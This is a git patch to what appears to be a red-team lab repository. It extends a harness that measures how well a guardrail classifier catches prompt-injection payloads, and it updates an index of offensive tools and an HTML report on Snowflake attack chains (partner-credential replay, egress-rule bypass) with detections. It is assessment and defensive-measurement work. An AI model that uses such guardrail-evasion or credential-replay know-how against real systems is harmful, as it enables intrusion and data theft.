the harness is to make the comparison +visible, not to publish a single pass-through number. -The harness is offline-runnable by default (uses the mock). The "real" -mode is opt-in and gated by an explicit flag — the assessment-appendix -question this answers ("Cortex Guardrails FP/FN rate") needs real -measurement, but unauthenticated probing of a vendor endpoint is out -of scope for an unattended run. - -Containment: lab-only by default. The --target=real path requires -explicit `--i-have-authorization` and a real URL. +The harness is offline-runnable by default. The "real" mode is opt-in +and gated by --i-have-authorization — measuring a vendor product +requires explicit authorization. Usage: - # Start mock - python infra/lab/mock-snowflake/app.py & - python tools/llm-attacks/cortex/guardrails-harness/mock_guardrails.py & - - # Run against mock - EXPLOIT_LAB_ACTIVE=1 \\ - python tools/llm-attacks/cortex/guardrails-harness/run_harness.py \\ - --target mock --json-out /tmp/guardrails_report.json - - # Run against a configured endpoint (lab only, explicit opt-in) - EXPLOIT_LAB_ACTIVE=1 \\ - python tools/llm-attacks/cortex/guardrails-harness/run_harness.py \\ - --target real --endpoint https://lab-guardrails.example.lab/scan \\ - --i-have-authorization + EXPLOIT_LAB_ACTIVE=1 python tools/llm-attacks/cortex/guardrails-harness/run_harness.py \\ + --target mock --json-out /tmp/guardrails_report.json """ from __future__ import annotations @@ -62,13 +46,14 @@ MOCK_URL = "http://127.0.0.1:9630/api/v1/guardrails/scan" -def _scan(endpoint: str, payload: Payload) -> dict: - resp = requests.post(endpoint, json={"prompt": payload.text}, timeout=5) +def _scan(endpoint: str, payload: Payload, tier: str) -> dict: + resp = requests.post(endpoint, + json={"prompt": payload.text, "tier": tier}, + timeout=5) return resp.json() -def _classify(payload: Payload, scan_result: dict) -> str: - blocked = bool(scan_result.get("blocked")) +def _classify(payload: Payload, blocked: bool) -> str: if payload.expected_block and blocked: return "TP" if payload.expected_block and not blocked: @@ -78,14 +63,80 @@ def _classify(payload: Payload, scan_result: dict) -> str: return "TN" +def _aggregate(records: list[dict], key: str) -> dict[str, dict[str, int]]: + out: dict[str, dict[str, int]] = defaultdict(lambda: defaultdict(int)) + for r in records: + out[r[key]][r["classification"]] += 1 + return {k: dict(v) for k, v in out.items()} + + +def _summarize(records: list[dict], label: str) -> dict: + totals: dict[str, int] = defaultdict(int) + for r in records: + totals[r["classification"]] += 1 + tp, fn, tn, fp = (totals["TP"], totals["FN"], + totals["TN"], totals["FP"]) + n = sum(totals.values()) + print(f"\n[{label}]") + print(f" TP={tp}/{n} FN={fn}/{n} TN={tn}/{n} FP={fp}/{n}") + if (tp + fn) > 0: + print(f" recall (injection catch rate): {tp / (tp + fn):.1%}") + if (tn + fp) > 0: + print(f" specificity (clean-prompt pass rate): {tn / (tn + fp):.1%}") + return {"totals": dict(totals)} + + +def _print_delta(tier1: list[dict], tier2: list[dict]) -> None: + """Surface payloads where tier 2 recovered a tier-1 miss, and vice versa.""" + by_id_t1 = {r["id"]: r for r in tier1} + by_id_t2 = {r["id"]: r for r in tier2} + recovered: list[dict] = [] + lost: list[dict] = [] + for pid, r1 in by_id_t1.items(): + r2 = by_id_t2.get(pid) + if r2 is None: + continue + if r1["classification"] == "FN" and r2["classification"] == "TP": + recovered.append(r2) + if r1["classification"] == "TP" and r2["classification"] == "FN": + lost.append(r2) + print(f"\n[delta] tier-2 recovered {len(recovered)} tier-1 false negative(s)") + for r in recovered: + print(f" [+] {r['id']:<32} family={r['family']:<14} category={r['category']}") + print(f"[delta] tier-2 dropped {len(lost)} previously-caught case(s)") + for r in lost: + print(f" [-] {r['id']:<32} family={r['family']:<14} category={r['category']}") + + +def _run_tier(endpoint: str, tier: str, label: str) -> list[dict]: + print(f"\n[*] running {label} ({len(CORPUS)} payloads, tier={tier})") + records: list[dict] = [] + for p in CORPUS: + scan = _scan(endpoint, p, tier) + blocked = bool(scan.get("blocked")) + cls = _classify(p, blocked) + records.append({ + "id": p.id, "family": p.family, "category": p.category, + "expected_block": p.expected_block, + "blocked": blocked, + "reason": scan.get("reason", ""), + "matches": scan.get("matches", []), + "classification": cls, + "references": list(p.references), + }) + return records + + def main() -> int: - parser = argparse.ArgumentParser(description=__doc__, - formatter_class=argparse.RawDescriptionHelpFormatter) + parser = argparse.ArgumentParser( + description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument("--target", default="mock", choices=["mock", "real"]) parser.add_argument("--endpoint", help="Required if --target=real") parser.add_argument("--i-have-authorization", action="store_true", help="Required to use --target=real") parser.add_argument("--json-out", help="Write the full report as JSON here") + parser.add_argument("--tier", default="both", choices=["1", "2", "both"], + help="Only emit one tier (default: both, with delta)") args = parser.parse_args() if args.target == "real": @@ -103,63 +154,41 @@ def main() -> int: guard.assert_loopback("127.0.0.1") print(f"[*] target endpoint: {endpoint}") - print(f"[*] corpus size: {len(CORPUS)}\n") - - results = [] - by_category = defaultdict(lambda: defaultdict(int)) - by_family = defaultdict(lambda: defaultdict(int)) - totals: dict[str, int] = defaultdict(int) - - for p in CORPUS: - try: - scan = _scan(endpoint, p) - except requests.RequestException as exc: - print(f" [!] error on {p.id}: {exc}", file=sys.stderr) - return 1 - cls = _classify(p, scan) - totals[cls] += 1 - by_category[p.category][cls] += 1 - by_family[p.family][cls] += 1 - results.append({"id": p.id, "family": p.family, - "category": p.category, - "expected_block": p.expected_block, - "blocked": scan.get("blocked"), - "reason": scan.get("reason", ""), - "matches": scan.get("matches", []), - "classification": cls, - "references": list(p.references)}) - marker = {"TP": "[OK]", "TN": "[OK]", - "FN": "[!! FN]", "FP": "[!! FP]"}[cls] - print(f" {marker:<8} {p.id:<32} {p.family:<14} " - f"{p.category:<16} reason={scan.get('reason') or '-'}") - - n = len(CORPUS) - tp, fn, tn, fp = totals["TP"], totals["FN"], totals["TN"], totals["FP"] - print("\nSummary:") - print(f" TP={tp}/{n} FN={fn}/{n} TN={tn}/{n} FP={fp}/{n}") - if (tp + fn) > 0: - recall = tp / (tp + fn) - print(f" recall (catch rate on injections): {recall:.1%}") - if (tn + fp) > 0: - spec = tn / (tn + fp) - print(f" specificity (clean-prompt pass rate): {spec:.1%}") - - print("\nBy family:") - for family, b in sorted(by_family.items()): - print(f" {family:<14} {dict(b)}") - - print("\nBy category:") - for category, b in sorted(by_category.items()): - print(f" {category:<16} {dict(b)}") + print(f"[*] corpus size: {len(CORPUS)}") + + tier1_records = (_run_tier(endpoint, "1", "tier 1 — regex baseline") + if args.tier in {"1", "both"} else []) + tier2_records = (_run_tier(endpoint, "2", "tier 2 — semantic baseline") + if args.tier in {"2", "both"} else []) + + if tier1_records: + _summarize(tier1_records, "tier 1 — regex baseline") + print("\n by family:") + for fam, b in sorted(_aggregate(tier1_records, "family").items()): + print(f" {fam:<14} {b}") + if tier2_records: + _summarize(tier2_records, "tier 2 — semantic baseline") + print("\n by family:") + for fam, b in sorted(_aggregate(tier2_records, "family").items()): + print(f" {fam:<14} {b}") + + if tier1_records and tier2_records: + _print_delta(tier1_records, tier2_records) report = { "endpoint": endpoint, "target": args.target, - "n": n, - "totals": dict(totals), - "by_family": {k: dict(v) for k, v in by_family.items()}, - "by_category": {k: dict(v) for k, v in by_category.items()}, - "items": results, + "corpus_size": len(CORPUS), + "tier1": { + "items": tier1_records, + "by_family": _aggregate(tier1_records, "family"), + "by_category": _aggregate(tier1_records, "category"), + } if tier1_records else None, + "tier2": { + "items": tier2_records, + "by_family": _aggregate(tier2_records, "family"), + "by_category": _aggregate(tier2_records, "category"), + } if tier2_records else None, } if args.json_out: Path(args.json_out).write_text(json.dumps(report, indent=2)) From 50592079cbec37a4cc1bdc6d5687e6c9ec7fd389 Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:17:17 -0500 Subject: [PATCH 8/8] =?UTF-8?q?Snowflake=20iter-4=20final=20=E2=80=94=20HT?= =?UTF-8?q?ML=20report,=20screenshot=20baselines,=20indexes,=20READMEs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Surfaces all iter-4 work in the audience-facing report and the navigational indexes. HTML report: - index.html — Chain J added to the key-findings table. - attack-chains.html — Chain J narrative added; Chain H expanded with the inspection-depth × EAI-rule-shape matrix callout. - detection.html — Chain J detection query (partner-integration users with no network policy bound). - Three screenshot baselines refreshed (`index`, `attack_chains`, `detection`) for the visual-regression test suite. Other four pages unchanged. Indexes / READMEs: - CLAUDE.md — module-index entries updated for the new tooling (partner-integration audit, PAT discovery, SPCS matrix probe, Native App version-bump). - tools/cloud-identity/snowflake/README.md — title + new sections for pat_discovery.py and partner_integration_audit.py. - tools/lateral-movement/snowflake-pivot/README.md — title updated to include Chain H; new section for spcs_egress_probe.py. CI green across all 11 checks (snowflake-tools syntax, detection pairing across 40 module trees, report nav-parity + internal-link integrity, mock-services loopback, AiTM, kernel-lpe, LOLDrivers, no real tenants, no real RMM, no suspicious .pth, no committed drivers). Visual-regression tests pass against refreshed baselines. Co-Authored-By: Claude Opus 4.7 (1M context) --- CLAUDE.md | 6 +-- .../attack-chains.html | 40 ++++++++++++++++++ .../detection.html | 15 ++++++- .../snowflake-platform-assessment/index.html | 7 +++ .../screenshots/baselines/attack_chains.png | Bin 1011083 -> 1184059 bytes .../tests/screenshots/baselines/detection.png | Bin 569439 -> 610108 bytes .../tests/screenshots/baselines/index.png | Bin 305540 -> 332093 bytes tools/cloud-identity/snowflake/README.md | 21 ++++++++- .../snowflake-pivot/README.md | 14 +++++- 9 files changed, 97 insertions(+), 6 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 9c3e4a5..3d5e238 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -107,13 +107,13 @@ The report at `reports/snowflake-platform-assessment/` is a set of linked static → [tools/lateral-movement/sccm-abuse/README.md](tools/lateral-movement/sccm-abuse/README.md) — SCCM ELEVATE1/2 → [tools/lateral-movement/azure-arc/README.md](tools/lateral-movement/azure-arc/README.md) — Azure Arc MSI pivot → [tools/lateral-movement/exchange-hybrid/README.md](tools/lateral-movement/exchange-hybrid/README.md) — evoSTS token forge -→ [tools/lateral-movement/snowflake-pivot/README.md](tools/lateral-movement/snowflake-pivot/README.md) — Snowflake Chain E storage-integration enum, Chain G share / replication exfil, bind-param evasion +→ [tools/lateral-movement/snowflake-pivot/README.md](tools/lateral-movement/snowflake-pivot/README.md) — Snowflake Chain E storage-integration enum, Chain G share / replication exfil, Chain H SPCS egress depth × EAI rule matrix probe, bind-param evasion → [tools/kerberos/README.md](tools/kerberos/README.md) — S4U2self/proxy, RBCD, NTLM relay, EPA recon, NTLM reflection LPE, AES roasting ### AD CS & Identity → [tools/ad-cs/README.md](tools/ad-cs/README.md) — ESC1–ESC16, chain.py, Shadow Credentials 2026 → [tools/cloud-identity/README.md](tools/cloud-identity/README.md) — WIF, OIDC, Golden SAML, Silver SAML, SyncJacking, EvilTokens, FOCI, PRT devtools, CloudTrail blinding -→ [tools/cloud-identity/snowflake/README.md](tools/cloud-identity/snowflake/README.md) — Snowflake JWT key-pair (Chain F), PAT scope walk, SCIM token harvester +→ [tools/cloud-identity/snowflake/README.md](tools/cloud-identity/snowflake/README.md) — Snowflake JWT key-pair (Chain F), PAT scope walk + PAT discovery, SCIM token harvester, partner-integration audit (Chain J) → [tools/entra-abuse/README.md](tools/entra-abuse/README.md) — device-code, PRT, token replay (historical) ### Lateral Movement @@ -148,7 +148,7 @@ The report at `reports/snowflake-platform-assessment/` is a set of linked static → [tools/kernel-lpe/README.md](tools/kernel-lpe/README.md) — AFD.sys, CLFS, I/O Ring primitives (requires EXPLOIT_LAB_KERNEL=1) ### Supply Chain -→ [tools/supply-chain/README.md](tools/supply-chain/README.md) — Shai-Hulud npm worm, LiteLLM PyPI .pth, GitHub Actions OIDC (UNC6426), tj-actions-class +→ [tools/supply-chain/README.md](tools/supply-chain/README.md) — Shai-Hulud npm worm, LiteLLM PyPI .pth, GitHub Actions OIDC (UNC6426), tj-actions-class, Snowflake Native App version-bump (Chain C empirical) ### Phishing & Initial Access → [tools/phishing/README.md](tools/phishing/README.md) — AiTM kits (Tycoon2FA/Sneaky2FA/Rockstar2FA), ClickFix/FileFix/ConsentFix, passkey bench, vishing tabletop diff --git a/reports/snowflake-platform-assessment/attack-chains.html b/reports/snowflake-platform-assessment/attack-chains.html index c4f8cbe..4f6b55a 100644 --- a/reports/snowflake-platform-assessment/attack-chains.html +++ b/reports/snowflake-platform-assessment/attack-chains.html @@ -203,6 +203,15 @@

Attack chains

spec content for production services; inspect the compute pool role bindings and compare against documented service-to-role mappings. +
+ Egress depth — modeled finding: + the inspection-depth × EAI-rule-shape matrix (see analytical companion) shows that a + SCOPED rule is structurally permissive at DNS-only inspection — hosts behind a shared A + record bypass the gate — and enforces correctly at SNI and L7. A WILDCARD / + OPEN_ANY rule is a sanctioned exfil channel at every depth. The matrix is generated by + tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py; tenant-confirmed measurement + remains a follow-on for any organization with an SPCS deployment under assessment. +
@@ -231,6 +240,37 @@

Attack chains

+ +
+
Chain J — Partner-integration credential replay (third-party-holds-our-token)
+
+

+ The post-MFA generalization of Chain A. The 2024 UNC5537 campaign exploited developer-endpoint + credentials; the 2026 analytics-SaaS incident exploited the same primitive at SaaS scale — a + partner tenant holding the customer's Snowflake service-user credentials was compromised, and the + attacker replayed those credentials from their own infrastructure. No Snowflake bug was involved; + the gap was on the customer side, where the partner-integration user typically has no network + policy bound because the partner's egress range is undocumented or volatile. +

+
    +
  1. The partner SaaS is compromised through its own initial-access path (vendor infostealer, OAuth phish of a partner employee, supply-chain compromise of a partner dependency). The customer's perimeter is not touched.
    2. +
  2. The partner's credential store contains the Snowflake key-pair or PAT issued for the customer's account. The attacker exfiltrates it.
    3. +
  3. The attacker authenticates to Snowflake directly with the stolen credential. The source IP is the attacker's infrastructure, not the partner's documented egress range.
    4. +
  4. With no network policy bound to the partner-integration user, the login succeeds. LOGIN_HISTORY shows the partner-integration user authenticating from a previously unobserved IP.
    5. +
  5. Proceed from Chain A step 3. The customer's SIEM cannot correlate against the partner's own audit because the partner was never the actor.
    6. +
+
+ Detection: per-user source-IP baseline on LOGIN_HISTORY for every + partner-integration user, joined to the documented partner egress range. The static control is the + network policy itself — bound to every partner-integration user with an allowed_ip_list + matching the partner's published egress CIDR. A partner that cannot publish a stable egress range is + itself a finding. Tooling at + tools/cloud-identity/snowflake/partner_integration_audit.py walks the inventory and + flags users with no policy bound or with a policy whose CIDRs don't cover the documented partner + egress. +
+
+